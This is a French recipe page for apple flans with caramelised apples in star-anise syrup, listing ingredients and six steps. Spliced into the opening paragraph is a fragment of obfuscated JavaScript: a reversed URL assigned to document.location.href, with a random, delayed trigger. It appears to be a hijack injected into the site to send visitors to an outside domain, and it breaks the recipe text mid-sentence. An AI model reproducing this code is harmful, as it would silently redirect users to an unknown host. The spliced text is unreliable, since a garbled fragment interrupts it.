Flans aux pommes
2016-12-29- Cuisine : Flans
- Thématique : Végétarien
- Niveau : Facile
Lavez les pommes, enlevez le cœur et les pépins. Séchez-les et les couper en quartiers. Préparez le sirop en faisant bouillir l’eau avec le sucre tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant jusqu’à dissolution du sucre, ajoutez la cannelle et la badiane.
Ingrédients
- Pour 6 personnes
- 3 pommes golden
- 50 cl de lait
- 50 g de sucre en poudre
- 60 g de farine
- 3 œufs entiers
- 1 sachet de sucre vanillé
- 25 g de beurre
- Pour le sirop :
- 300 g de sucre en poudre
- 25 cl d'eau
- 1 étoile de badiane
Préparation de la recette
Etape 1
Lavez les pommes, enlevez le cœur et les pépins. Séchez-les et les couper en quartiers.
Etape 2
Préparez le sirop en faisant bouillir l'eau avec le sucre tout en remuant jusqu'à dissolution du sucre, ajoutez la cannelle et la badiane.
Etape 3
Quand le sirop à une couleur ambre, ajoutez les pommes que vous faites cuire sur feu doux jusqu'à ce qu'elles soient confites.
Etape 4
A ce moment retirez du feu mettre en attente. Fouettez les œufs avec les sucres et la farine, quand la pâte est bien lisse, ajoutez le lait tiède.
Etape 5
Préchauffez le four à 210° C thermostat 7. Beurrez des ramequins, répartissez la crème, enfournez et faites cuire pendant 20 minutes.
Etape 6
Faites refroidir les flans, en les plaçant au réfrigérateur pendant 1 heure. Servez avec des quartiers de pommes dessus.
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette